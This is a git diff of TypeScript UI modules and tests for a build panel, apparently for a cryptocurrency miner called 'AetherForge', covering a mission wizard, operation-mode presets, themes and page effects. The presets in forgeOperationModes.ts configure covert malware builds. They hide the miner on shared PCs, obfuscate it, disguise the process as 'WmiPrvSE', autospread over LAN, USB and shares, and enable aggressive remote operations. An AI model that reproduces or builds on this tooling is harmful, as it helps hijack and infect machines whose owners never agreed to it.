|
||||
campaign,
|
||||
});
|
||||
}
|
||||
|
||||
onStep?.('copy');
|
||||
const links = buildMissionLinks(serverBase, buildId, campaign);
|
||||
|
||||
onStep?.('done');
|
||||
return { build, links, exportSkipped };
|
||||
}
|
||||
57
server/web/src/help/forgeMissionWizard.test.ts
Normal file
57
server/web/src/help/forgeMissionWizard.test.ts
Normal file
@@ -0,0 +1,57 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
MISSION_WIZARD_STEPS,
|
||||
MISSION_OPERATION_CHIPS,
|
||||
canAdvanceWizardStep,
|
||||
missionChipForMode,
|
||||
nextWizardStep,
|
||||
operationModeForChip,
|
||||
prevWizardStep,
|
||||
wizardPillStatus,
|
||||
wizardStepIndex,
|
||||
} from './forgeMissionWizard';
|
||||
|
||||
describe('forgeMissionWizard', () => {
|
||||
it('defines three ritual wizard steps', () => {
|
||||
expect(MISSION_WIZARD_STEPS).toEqual(['mode', 'profile', 'launch']);
|
||||
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread']);
|
||||
});
|
||||
|
||||
it('maps operation chips to forge modes', () => {
|
||||
expect(operationModeForChip('ghost')).toBe('ghost_walk');
|
||||
expect(operationModeForChip('loud')).toBe('open_flame');
|
||||
expect(operationModeForChip('spread')).toBe('wildfire');
|
||||
});
|
||||
|
||||
it('reverse-maps operation modes to wizard chips', () => {
|
||||
expect(missionChipForMode('ghost_walk')).toBe('ghost');
|
||||
expect(missionChipForMode('sigil_mask')).toBe('ghost');
|
||||
expect(missionChipForMode('open_flame')).toBe('loud');
|
||||
expect(missionChipForMode('wildfire')).toBe('spread');
|
||||
expect(missionChipForMode('crucible_storm')).toBe('spread');
|
||||
});
|
||||
|
||||
it('navigates wizard steps forward and back', () => {
|
||||
expect(nextWizardStep('mode')).toBe('profile');
|
||||
expect(nextWizardStep('profile')).toBe('launch');
|
||||
expect(nextWizardStep('launch')).toBeNull();
|
||||
expect(prevWizardStep('launch')).toBe('profile');
|
||||
expect(prevWizardStep('profile')).toBe('mode');
|
||||
expect(prevWizardStep('mode')).toBeNull();
|
||||
});
|
||||
|
||||
it('allows advancing from mode and profile steps', () => {
|
||||
expect(canAdvanceWizardStep('mode', 'ghost', '')).toBe(true);
|
||||
expect(canAdvanceWizardStep('profile', 'spread', '')).toBe(true);
|
||||
expect(canAdvanceWizardStep('profile', 'spread', 'lan_kindling')).toBe(true);
|
||||
expect(canAdvanceWizardStep('launch', 'ghost', '')).toBe(false);
|
||||
});
|
||||
|
||||
it('tracks wizard pill status for step pills', () => {
|
||||
expect(wizardPillStatus('mode', 'mode')).toBe('active');
|
||||
expect(wizardPillStatus('mode', 'profile')).toBe('done');
|
||||
expect(wizardPillStatus('profile', 'mode')).toBe('pending');
|
||||
expect(wizardPillStatus('launch', 'launch')).toBe('active');
|
||||
expect(wizardStepIndex('launch')).toBe(2);
|
||||
});
|
||||
});
|
||||
92
server/web/src/help/forgeMissionWizard.ts
Normal file
92
server/web/src/help/forgeMissionWizard.ts
Normal file
@@ -0,0 +1,92 @@
|
||||
import type { OperationModeId } from './forgeOperationModes';
|
||||
import type { SpreadProfileId } from './spreadProfiles';
|
||||
|
||||
export const MISSION_WIZARD_STEPS = ['mode', 'profile', 'launch'] as const;
|
||||
export type MissionWizardStep = (typeof MISSION_WIZARD_STEPS)[number];
|
||||
|
||||
export const MISSION_WIZARD_STEP_LABELS: Record<MissionWizardStep, string> = {
|
||||
mode: 'Mode',
|
||||
profile: 'Profile',
|
||||
launch: 'Launch',
|
||||
};
|
||||
|
||||
export type MissionOperationChip = 'ghost' | 'loud' | 'spread';
|
||||
|
||||
export interface MissionOperationChipDef {
|
||||
id: MissionOperationChip;
|
||||
label: string;
|
||||
color: string;
|
||||
modeId: OperationModeId;
|
||||
blurb: string;
|
||||
}
|
||||
|
||||
export const MISSION_OPERATION_CHIPS: MissionOperationChipDef[] = [
|
||||
{
|
||||
id: 'ghost',
|
||||
label: 'Ghost',
|
||||
color: '#6b8cff',
|
||||
modeId: 'ghost_walk',
|
||||
blurb: 'Stealth on, hidden display, garble — minimal LAN footprint',
|
||||
},
|
||||
{
|
||||
id: 'loud',
|
||||
label: 'Loud',
|
||||
color: '#ff5c5c',
|
||||
modeId: 'open_flame',
|
||||
blurb: 'Visible console, logging on — lab testing and debugging',
|
||||
},
|
||||
{
|
||||
id: 'spread',
|
||||
label: 'Spread',
|
||||
color: '#ff8c3a',
|
||||
modeId: 'wildfire',
|
||||
blurb: 'Universal spread kit + LAN/USB autospread — seed the fleet',
|
||||
},
|
||||
];
|
||||
|
||||
export function operationModeForChip(chip: MissionOperationChip): OperationModeId {
|
||||
return MISSION_OPERATION_CHIPS.find((c) => c.id === chip)?.modeId ?? 'ghost_walk';
|
||||
}
|
||||
|
||||
export function missionChipForMode(mode: OperationModeId): MissionOperationChip {
|
||||
if (mode === 'open_flame') return 'loud';
|
||||
if (mode === 'wildfire' || mode === 'crucible_storm') return 'spread';
|
||||
return 'ghost';
|
||||
}
|
||||
|
||||
export function wizardStepIndex(step: MissionWizardStep): number {
|
||||
return MISSION_WIZARD_STEPS.indexOf(step);
|
||||
}
|
||||
|
||||
export function nextWizardStep(step: MissionWizardStep): MissionWizardStep | null {
|
||||
const idx = wizardStepIndex(step);
|
||||
if (idx < 0 || idx >= MISSION_WIZARD_STEPS.length - 1) return null;
|
||||
return MISSION_WIZARD_STEPS[idx + 1];
|
||||
}
|
||||
|
||||
export function prevWizardStep(step: MissionWizardStep): MissionWizardStep | null {
|
||||
const idx = wizardStepIndex(step);
|
||||
if (idx <= 0) return null;
|
||||
return MISSION_WIZARD_STEPS[idx - 1];
|
||||
}
|
||||
|
||||
export function canAdvanceWizardStep(
|
||||
step: MissionWizardStep,
|
||||
chip: MissionOperationChip,
|
||||
_spreadProfile: SpreadProfileId | '',
|
||||
): boolean {
|
||||
if (step === 'mode') return !!chip;
|
||||
if (step === 'profile') return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
export function wizardPillStatus(
|
||||
pill: MissionWizardStep,
|
||||
current: MissionWizardStep,
|
||||
): 'pending' | 'active' | 'done' {
|
||||
const pillIdx = wizardStepIndex(pill);
|
||||
const curIdx = wizardStepIndex(current);
|
||||
if (pillIdx < curIdx) return 'done';
|
||||
if (pillIdx === curIdx) return 'active';
|
||||
return 'pending';
|
||||
}
|
||||
113
server/web/src/help/forgeOperationModes.test.ts
Normal file
113
server/web/src/help/forgeOperationModes.test.ts
Normal file
@@ -0,0 +1,113 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
OPERATION_MODES,
|
||||
DEFAULT_OPERATION_MODE,
|
||||
applyOperationMode,
|
||||
isOperationModeId,
|
||||
resolveForgeSkin,
|
||||
skinForOperationMode,
|
||||
} from './forgeOperationModes';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
const baseForm = (): BuildRequest =>
|
||||
({
|
||||
server_url: 'http://192.168.1.1:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
worker_name: 'test',
|
||||
threads: 2,
|
||||
target_os: 'windows',
|
||||
target_arch: 'amd64',
|
||||
stealth_mode: false,
|
||||
display_mode: 'visible',
|
||||
file_logging: true,
|
||||
obfuscate: false,
|
||||
}) as BuildRequest;
|
||||
|
||||
describe('forgeOperationModes', () => {
|
||||
it('exposes six colored aether-themed presets', () => {
|
||||
expect(OPERATION_MODES).toHaveLength(6);
|
||||
expect(OPERATION_MODES.map((m) => m.label)).toEqual([
|
||||
'Ghost Walk',
|
||||
'Open Flame',
|
||||
'Sigil Mask',
|
||||
'Hearth Whisper',
|
||||
'Wildfire',
|
||||
'Crucible Storm',
|
||||
]);
|
||||
OPERATION_MODES.forEach((m) => expect(m.color).toMatch(/^#/));
|
||||
expect(DEFAULT_OPERATION_MODE).toBe('ghost_walk');
|
||||
});
|
||||
|
||||
it('maps each operation mode to a forge skin', () => {
|
||||
expect(OPERATION_MODES.map((m) => m.skin)).toEqual([
|
||||
'ghost',
|
||||
'aether',
|
||||
'halloween',
|
||||
'aether',
|
||||
'wildfire',
|
||||
'crucible',
|
||||
]);
|
||||
expect(skinForOperationMode('wildfire')).toBe('wildfire');
|
||||
expect(skinForOperationMode('sigil_mask')).toBe('halloween');
|
||||
});
|
||||
|
||||
it('resolves skin from operation mode unless theme override is set', () => {
|
||||
expect(resolveForgeSkin('ghost_walk', 'auto')).toBe('ghost');
|
||||
expect(resolveForgeSkin('wildfire', 'auto')).toBe('wildfire');
|
||||
expect(resolveForgeSkin('ghost_walk', 'halloween')).toBe('halloween');
|
||||
expect(resolveForgeSkin('crucible_storm', 'ghost')).toBe('ghost');
|
||||
});
|
||||
|
||||
it('validates stored mode ids', () => {
|
||||
expect(isOperationModeId('ghost_walk')).toBe(true);
|
||||
expect(isOperationModeId('bogus')).toBe(false);
|
||||
});
|
||||
|
||||
it('applies Ghost Walk stealth + garble defaults', () => {
|
||||
const next = applyOperationMode(baseForm(), 'ghost_walk');
|
||||
expect(next.stealth_mode).toBe(true);
|
||||
expect(next.display_mode).toBe('background');
|
||||
expect(next.file_logging).toBe(false);
|
||||
expect(next.obfuscate).toBe(true);
|
||||
expect(next.fusion_enabled).toBe(false);
|
||||
});
|
||||
|
||||
it('applies Open Flame visible testing profile', () => {
|
||||
const next = applyOperationMode(baseForm(), 'open_flame');
|
||||
expect(next.stealth_mode).toBe(false);
|
||||
expect(next.display_mode).toBe('visible');
|
||||
expect(next.file_logging).toBe(true);
|
||||
expect(next.obfuscate).toBe(false);
|
||||
});
|
||||
|
||||
it('applies Sigil Mask obfuscation + disguised process', () => {
|
||||
const next = applyOperationMode(baseForm(), 'sigil_mask');
|
||||
expect(next.obfuscate).toBe(true);
|
||||
expect(next.sigil_scramble).toBe(true);
|
||||
expect(next.process_name).toBe('WmiPrvSE');
|
||||
expect(next.fusion_enabled).toBe(false);
|
||||
});
|
||||
|
||||
it('applies Hearth Whisper idle low-footprint caps', () => {
|
||||
const next = applyOperationMode(baseForm(), 'hearth_whisper');
|
||||
expect(next.mining_mode).toBe('idle');
|
||||
expect(next.max_cpu_usage_pct).toBe(45);
|
||||
expect(next.thread_percent).toBe(50);
|
||||
expect(next.stealth_mode).toBe(true);
|
||||
});
|
||||
|
||||
it('applies Wildfire spread-ready flags', () => {
|
||||
const next = applyOperationMode(baseForm(), 'wildfire');
|
||||
expect(next.spread_kit).toBe(true);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
expect(next.usb_spread).toBe(true);
|
||||
expect(next.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('applies Crucible Storm aggressive remote ops', () => {
|
||||
const next = applyOperationMode(baseForm(), 'crucible_storm');
|
||||
expect(next.remote_aggressive).toBe(true);
|
||||
expect(next.hole_punch).toBe(true);
|
||||
expect(next.mesh_p2p).toBe(true);
|
||||
});
|
||||
});
|
||||
217
server/web/src/help/forgeOperationModes.ts
Normal file
217
server/web/src/help/forgeOperationModes.ts
Normal file
@@ -0,0 +1,217 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
|
||||
export type OperationModeId =
|
||||
| 'ghost_walk'
|
||||
| 'open_flame'
|
||||
| 'sigil_mask'
|
||||
| 'hearth_whisper'
|
||||
| 'wildfire'
|
||||
| 'crucible_storm';
|
||||
|
||||
/** Seasonal / operation forge UI skins (CSS class suffix). */
|
||||
export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible';
|
||||
|
||||
export type ForgeThemeOverride = ForgeSkinId | 'auto';
|
||||
|
||||
export interface OperationMode {
|
||||
id: OperationModeId;
|
||||
label: string;
|
||||
color: string;
|
||||
skin: ForgeSkinId;
|
||||
blurb: string;
|
||||
apply: (form: BuildRequest) => BuildRequest;
|
||||
}
|
||||
|
||||
export const OPERATION_MODE_STORAGE_KEY = 'aetherforge-operation-mode';
|
||||
export const FORGE_THEME_STORAGE_KEY = 'aetherforge-forge-theme';
|
||||
export const FORGE_THEME_EVENT = 'aetherforge-forge-theme';
|
||||
|
||||
export const DEFAULT_OPERATION_MODE: OperationModeId = 'ghost_walk';
|
||||
|
||||
export const FORGE_SKIN_IDS: ForgeSkinId[] = ['aether', 'halloween', 'ghost', 'wildfire', 'crucible'];
|
||||
|
||||
export function isForgeSkinId(value: string): value is ForgeSkinId {
|
||||
return FORGE_SKIN_IDS.includes(value as ForgeSkinId);
|
||||
}
|
||||
|
||||
export function forgeSkinClassName(skin: ForgeSkinId): string {
|
||||
return `forge-skin--${skin}`;
|
||||
}
|
||||
|
||||
export function skinForOperationMode(id: OperationModeId): ForgeSkinId {
|
||||
const mode = OPERATION_MODES.find((m) => m.id === id);
|
||||
return mode?.skin ?? 'aether';
|
||||
}
|
||||
|
||||
export const OPERATION_MODES: OperationMode[] = [
|
||||
{
|
||||
id: 'ghost_walk',
|
||||
label: 'Ghost Walk',
|
||||
color: '#4d7fff',
|
||||
skin: 'ghost',
|
||||
blurb: 'Stealth on, hidden display, garble on, no file logs — minimal LAN footprint',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
obfuscate: true,
|
||||
sigil_scramble: true,
|
||||
fusion_enabled: false,
|
||||
spread_kit: false,
|
||||
remote_aggressive: false,
|
||||
auto_spread: false,
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
hole_punch: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'open_flame',
|
||||
label: 'Open Flame',
|
||||
color: '#ff5c5c',
|
||||
skin: 'aether',
|
||||
blurb: 'Visible console, logging on, no garble — for lab testing and debugging',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
stealth_mode: false,
|
||||
display_mode: 'visible',
|
||||
silent_mode: false,
|
||||
file_logging: true,
|
||||
obfuscate: false,
|
||||
sigil_scramble: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'sigil_mask',
|
||||
label: 'Sigil Mask',
|
||||
color: '#b794f6',
|
||||
skin: 'halloween',
|
||||
blurb: 'Garble + Sigil scramble, disguised process name, fusion off — hardened obfuscation',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
obfuscate: true,
|
||||
sigil_scramble: true,
|
||||
process_name: 'WmiPrvSE',
|
||||
fusion_enabled: false,
|
||||
spread_kit: false,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'hearth_whisper',
|
||||
label: 'Hearth Whisper',
|
||||
color: '#4ade80',
|
||||
skin: 'aether',
|
||||
blurb: 'Hidden idle miner with low CPU cap — barely noticeable on shared PCs',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
mining_mode: 'idle',
|
||||
idle_threshold_pct: 25,
|
||||
max_cpu_usage_pct: 45,
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 50,
|
||||
fusion_enabled: false,
|
||||
remote_aggressive: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'wildfire',
|
||||
label: 'Wildfire',
|
||||
color: '#ff8c3a',
|
||||
skin: 'wildfire',
|
||||
blurb: 'Universal spread kit + LAN/USB autospread — ready to seed the fleet',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
spread_kit: true,
|
||||
fusion_enabled: false,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
auto_spread: true,
|
||||
usb_spread: true,
|
||||
share_spread: true,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'crucible_storm',
|
||||
label: 'Crucible Storm',
|
||||
color: '#d4af37',
|
||||
skin: 'crucible',
|
||||
blurb: 'Aggressive remote ops + hole punch enabled for Crucible command sessions',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
remote_aggressive: true,
|
||||
hole_punch: true,
|
||||
mesh_p2p: true,
|
||||
}),
|
||||
},
|
||||
];
|
||||
|
||||
export function isOperationModeId(value: string): value is OperationModeId {
|
||||
return OPERATION_MODES.some((m) => m.id === value);
|
||||
}
|
||||
|
||||
export function loadStoredOperationMode(): OperationModeId {
|
||||
try {
|
||||
const v = localStorage.getItem(OPERATION_MODE_STORAGE_KEY);
|
||||
if (v && isOperationModeId(v)) return v;
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
return DEFAULT_OPERATION_MODE;
|
||||
}
|
||||
|
||||
export function storeOperationMode(id: OperationModeId): void {
|
||||
try {
|
||||
localStorage.setItem(OPERATION_MODE_STORAGE_KEY, id);
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
export function applyOperationMode(form: BuildRequest, id: OperationModeId): BuildRequest {
|
||||
const mode = OPERATION_MODES.find((m) => m.id === id);
|
||||
return mode ? normalizeForgeForm(mode.apply(form)) : form;
|
||||
}
|
||||
|
||||
export function loadStoredForgeTheme(): ForgeThemeOverride {
|
||||
try {
|
||||
const v = localStorage.getItem(FORGE_THEME_STORAGE_KEY);
|
||||
if (v === 'auto') return 'auto';
|
||||
if (v && isForgeSkinId(v)) return v;
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
return 'auto';
|
||||
}
|
||||
|
||||
export function storeForgeTheme(theme: ForgeThemeOverride): void {
|
||||
try {
|
||||
localStorage.setItem(FORGE_THEME_STORAGE_KEY, theme);
|
||||
window.dispatchEvent(new CustomEvent(FORGE_THEME_EVENT));
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
export function resolveForgeSkin(
|
||||
operationModeId: OperationModeId,
|
||||
themeOverride?: ForgeThemeOverride
|
||||
): ForgeSkinId {
|
||||
const override = themeOverride ?? loadStoredForgeTheme();
|
||||
if (override !== 'auto') return override;
|
||||
return skinForOperationMode(operationModeId);
|
||||
}
|
||||
45
server/web/src/help/pageWeather.test.ts
Normal file
45
server/web/src/help/pageWeather.test.ts
Normal file
@@ -0,0 +1,45 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { resolvePageWeather, PAGE_WEATHER, DEFAULT_PAGE_WEATHER } from './pageWeather';
|
||||
|
||||
describe('pageWeather', () => {
|
||||
it('resolves forge and mission deck to full glow', () => {
|
||||
expect(resolvePageWeather('/forge').vibe).toBe('forge-glow');
|
||||
expect(resolvePageWeather('/forge').intensity).toBe(1);
|
||||
expect(resolvePageWeather('/mission-deck').vibe).toBe('forge-glow');
|
||||
});
|
||||
|
||||
it('resolves crucible to slower embers', () => {
|
||||
const w = resolvePageWeather('/crucible');
|
||||
expect(w.vibe).toBe('crucible-embers');
|
||||
expect(w.speed).toBeLessThan(0.5);
|
||||
expect(w.palette).toBe('crucible');
|
||||
});
|
||||
|
||||
it('resolves emberwake with campaign pulse', () => {
|
||||
const w = resolvePageWeather('/emberwake');
|
||||
expect(w.vibe).toBe('emberwake-pulse');
|
||||
expect(w.energyPulse).toBe(true);
|
||||
expect(w.palette).toBe('campaign');
|
||||
});
|
||||
|
||||
it('resolves settings to dim starfield', () => {
|
||||
const w = resolvePageWeather('/settings');
|
||||
expect(w.vibe).toBe('starfield-dim');
|
||||
expect(w.intensity).toBeLessThan(0.3);
|
||||
expect(w.palette).toBe('dim');
|
||||
});
|
||||
|
||||
it('resolves fleet and dashboard to medium drift', () => {
|
||||
expect(resolvePageWeather('/agents').vibe).toBe('medium-drift');
|
||||
expect(resolvePageWeather('/dashboard').vibe).toBe('medium-drift');
|
||||
});
|
||||
|
||||
it('strips trailing slash and query', () => {
|
||||
expect(resolvePageWeather('/crucible/')).toEqual(PAGE_WEATHER['/crucible']);
|
||||
expect(resolvePageWeather('/dashboard?tab=fleet')).toEqual(PAGE_WEATHER['/dashboard']);
|
||||
});
|
||||
|
||||
it('falls back to default for unknown routes', () => {
|
||||
expect(resolvePageWeather('/unknown')).toEqual(DEFAULT_PAGE_WEATHER);
|
||||
});
|
||||
});
|
||||
228
server/web/src/help/pageWeather.ts
Normal file
228
server/web/src/help/pageWeather.ts
Normal file
@@ -0,0 +1,228 @@
|
||||
/** Route → ambient 3D weather (particle glow, drift, palette). Mirrors ambientMusic page map. */
|
||||
|
||||
export type WeatherVibe =
|
||||
| 'forge-glow'
|
||||
| 'crucible-embers'
|
||||
| 'emberwake-pulse'
|
||||
| 'starfield-dim'
|
||||
| 'medium-drift';
|
||||
|
||||
export type WeatherPalette = 'default' | 'crucible' | 'campaign' | 'dim';
|
||||
|
||||
export interface PageWeatherConfig {
|
||||
vibe: WeatherVibe;
|
||||
/** 0–1 overall particle glow strength */
|
||||
intensity: number;
|
||||
/** Velocity multiplier */
|
||||
speed: number;
|
||||
/** Pulse / twinkle rate multiplier */
|
||||
pulse: number;
|
||||
/** Particle density multiplier */
|
||||
density: number;
|
||||
/** Constellation link strength 0–1 */
|
||||
linkStrength: number;
|
||||
/** CSS grid / sacred-geo layer opacity */
|
||||
layerOpacity: number;
|
||||
/** Orb float animation duration (seconds; higher = slower) */
|
||||
orbDrift: number;
|
||||
/** Grid drift animation duration (seconds) */
|
||||
gridDrift: number;
|
||||
palette: WeatherPalette;
|
||||
/** Campaign-energy sine pulse on emberwake routes */
|
||||
energyPulse?: boolean;
|
||||
}
|
||||
|
||||
export const DEFAULT_PAGE_WEATHER: PageWeatherConfig = {
|
||||
vibe: 'medium-drift',
|
||||
intensity: 0.65,
|
||||
speed: 0.5,
|
||||
pulse: 0.65,
|
||||
density: 0.72,
|
||||
linkStrength: 0.7,
|
||||
layerOpacity: 0.55,
|
||||
orbDrift: 14,
|
||||
gridDrift: 48,
|
||||
palette: 'default',
|
||||
};
|
||||
|
||||
/** Route → weather profile. Prefix match for nested paths. */
|
||||
export const PAGE_WEATHER: Record<string, PageWeatherConfig> = {
|
||||
'/forge': {
|
||||
vibe: 'forge-glow',
|
||||
intensity: 1,
|
||||
speed: 1,
|
||||
pulse: 1,
|
||||
density: 1,
|
||||
linkStrength: 1,
|
||||
layerOpacity: 0.6,
|
||||
orbDrift: 12,
|
||||
gridDrift: 40,
|
||||
palette: 'default',
|
||||
},
|
||||
'/builder': {
|
||||
vibe: 'forge-glow',
|
||||
intensity: 1,
|
||||
speed: 1,
|
||||
pulse: 1,
|
||||
density: 1,
|
||||
linkStrength: 1,
|
||||
layerOpacity: 0.6,
|
||||
orbDrift: 12,
|
||||
gridDrift: 40,
|
||||
palette: 'default',
|
||||
},
|
||||
'/mission-deck': {
|
||||
vibe: 'forge-glow',
|
||||
intensity: 1,
|
||||
speed: 1,
|
||||
pulse: 1.05,
|
||||
density: 1,
|
||||
linkStrength: 1,
|
||||
layerOpacity: 0.62,
|
||||
orbDrift: 11,
|
||||
gridDrift: 38,
|
||||
palette: 'default',
|
||||
},
|
||||
'/crucible': {
|
||||
vibe: 'crucible-embers',
|
||||
intensity: 0.75,
|
||||
speed: 0.32,
|
||||
pulse: 0.45,
|
||||
density: 0.85,
|
||||
linkStrength: 0.45,
|
||||
layerOpacity: 0.5,
|
||||
orbDrift: 22,
|
||||
gridDrift: 72,
|
||||
palette: 'crucible',
|
||||
},
|
||||
'/emberwake': {
|
||||
vibe: 'emberwake-pulse',
|
||||
intensity: 0.85,
|
||||
speed: 0.55,
|
||||
pulse: 1.6,
|
||||
density: 0.9,
|
||||
linkStrength: 0.75,
|
||||
layerOpacity: 0.58,
|
||||
orbDrift: 9,
|
||||
gridDrift: 36,
|
||||
palette: 'campaign',
|
||||
energyPulse: true,
|
||||
},
|
||||
'/spread': {
|
||||
vibe: 'emberwake-pulse',
|
||||
intensity: 0.85,
|
||||
speed: 0.55,
|
||||
pulse: 1.6,
|
||||
density: 0.9,
|
||||
linkStrength: 0.75,
|
||||
layerOpacity: 0.58,
|
||||
orbDrift: 9,
|
||||
gridDrift: 36,
|
||||
palette: 'campaign',
|
||||
energyPulse: true,
|
||||
},
|
||||
'/settings': {
|
||||
vibe: 'starfield-dim',
|
||||
intensity: 0.22,
|
||||
speed: 0.15,
|
||||
pulse: 0.35,
|
||||
density: 0.45,
|
||||
linkStrength: 0.12,
|
||||
layerOpacity: 0.28,
|
||||
orbDrift: 36,
|
||||
gridDrift: 120,
|
||||
palette: 'dim',
|
||||
},
|
||||
'/agents': {
|
||||
vibe: 'medium-drift',
|
||||
intensity: 0.68,
|
||||
speed: 0.55,
|
||||
pulse: 0.7,
|
||||
density: 0.75,
|
||||
linkStrength: 0.72,
|
||||
layerOpacity: 0.52,
|
||||
orbDrift: 15,
|
||||
gridDrift: 50,
|
||||
palette: 'default',
|
||||
},
|
||||
'/dashboard': {
|
||||
vibe: 'medium-drift',
|
||||
intensity: 0.65,
|
||||
speed: 0.5,
|
||||
pulse: 0.65,
|
||||
density: 0.72,
|
||||
linkStrength: 0.7,
|
||||
layerOpacity: 0.55,
|
||||
orbDrift: 14,
|
||||
gridDrift: 48,
|
||||
palette: 'default',
|
||||
},
|
||||
'/builds': {
|
||||
vibe: 'medium-drift',
|
||||
intensity: 0.55,
|
||||
speed: 0.45,
|
||||
pulse: 0.6,
|
||||
density: 0.65,
|
||||
linkStrength: 0.6,
|
||||
layerOpacity: 0.48,
|
||||
orbDrift: 16,
|
||||
gridDrift: 54,
|
||||
palette: 'default',
|
||||
},
|
||||
'/pathtracer': {
|
||||
vibe: 'starfield-dim',
|
||||
intensity: 0.35,
|
||||
speed: 0.25,
|
||||
pulse: 0.4,
|
||||
density: 0.5,
|
||||
linkStrength: 0.2,
|
||||
layerOpacity: 0.32,
|
||||
orbDrift: 28,
|
||||
gridDrift: 90,
|
||||
palette: 'dim',
|
||||
},
|
||||
};
|
||||
|
||||
export function resolvePageWeather(pathname: string): PageWeatherConfig {
|
||||
const path = pathname.split('?')[0].replace(/\/$/, '') || '/';
|
||||
if (PAGE_WEATHER[path] !== undefined) {
|
||||
return PAGE_WEATHER[path];
|
||||
}
|
||||
for (const [prefix, weather] of Object.entries(PAGE_WEATHER)) {
|
||||
if (prefix !== '/' && path.startsWith(prefix)) return weather;
|
||||
}
|
||||
return DEFAULT_PAGE_WEATHER;
|
||||
}
|
||||
|
||||
export type GlowColor = {
|
||||
core: string;
|
||||
mid: string;
|
||||
line: string;
|
||||
};
|
||||
|
||||
export const WEATHER_PALETTES: Record<WeatherPalette, readonly GlowColor[]> = {
|
||||
default: [
|
||||
{ core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' },
|
||||
{ core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' },
|
||||
{ core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' },
|
||||
{ core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' },
|
||||
],
|
||||
crucible: [
|
||||
{ core: 'rgba(212, 175, 55, 0.9)', mid: 'rgba(212, 175, 55, 0.28)', line: 'rgba(212, 175, 55, 0.14)' },
|
||||
{ core: 'rgba(232, 93, 74, 0.78)', mid: 'rgba(232, 93, 74, 0.22)', line: 'rgba(232, 93, 74, 0.1)' },
|
||||
{ core: 'rgba(255, 140, 58, 0.82)', mid: 'rgba(255, 140, 58, 0.24)', line: 'rgba(255, 140, 58, 0.11)' },
|
||||
{ core: 'rgba(180, 90, 40, 0.72)', mid: 'rgba(180, 90, 40, 0.2)', line: 'rgba(180, 90, 40, 0.09)' },
|
||||
],
|
||||
campaign: [
|
||||
{ core: 'rgba(255, 95, 25, 0.92)', mid: 'rgba(255, 95, 25, 0.3)', line: 'rgba(255, 95, 25, 0.14)' },
|
||||
{ core: 'rgba(255, 176, 32, 0.85)', mid: 'rgba(255, 176, 32, 0.26)', line: 'rgba(255, 176, 32, 0.12)' },
|
||||
{ core: 'rgba(255, 55, 90, 0.7)', mid: 'rgba(255, 55, 90, 0.2)', line: 'rgba(255, 55, 90, 0.09)' },
|
||||
{ core: 'rgba(0, 220, 255, 0.55)', mid: 'rgba(0, 220, 255, 0.16)', line: 'rgba(0, 220, 255, 0.08)' },
|
||||
],
|
||||
dim: [
|
||||
{ core: 'rgba(190, 200, 230, 0.42)', mid: 'rgba(190, 200, 230, 0.12)', line: 'rgba(190, 200, 230, 0.05)' },
|
||||
{ core: 'rgba(130, 150, 190, 0.32)', mid: 'rgba(130, 150, 190, 0.1)', line: 'rgba(130, 150, 190, 0.04)' },
|
||||
{ core: 'rgba(201, 162, 39, 0.22)', mid: 'rgba(201, 162, 39, 0.08)', line: 'rgba(201, 162, 39, 0.03)' },
|
||||
{ core: 'rgba(0, 245, 255, 0.18)', mid: 'rgba(0, 245, 255, 0.06)', line: 'rgba(0, 245, 255, 0.03)' },
|
||||
],
|
||||
};
|
||||
14
server/web/src/help/presencePages.test.ts
Normal file
14
server/web/src/help/presencePages.test.ts
Normal file
@@ -0,0 +1,14 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { presenceActivityLine, presencePageLabel } from './presencePages';
|
||||
|
||||
describe('presencePages', () => {
|
||||
it('maps known routes to war-room labels', () => {
|
||||
expect(presencePageLabel('/crucible')).toBe('Crucible');
|
||||
expect(presencePageLabel('/emberwake')).toBe('Emberwake');
|
||||
expect(presencePageLabel('forge')).toBe('Forge');
|
||||
});
|
||||
|
||||
it('formats activity line for status bar', () => {
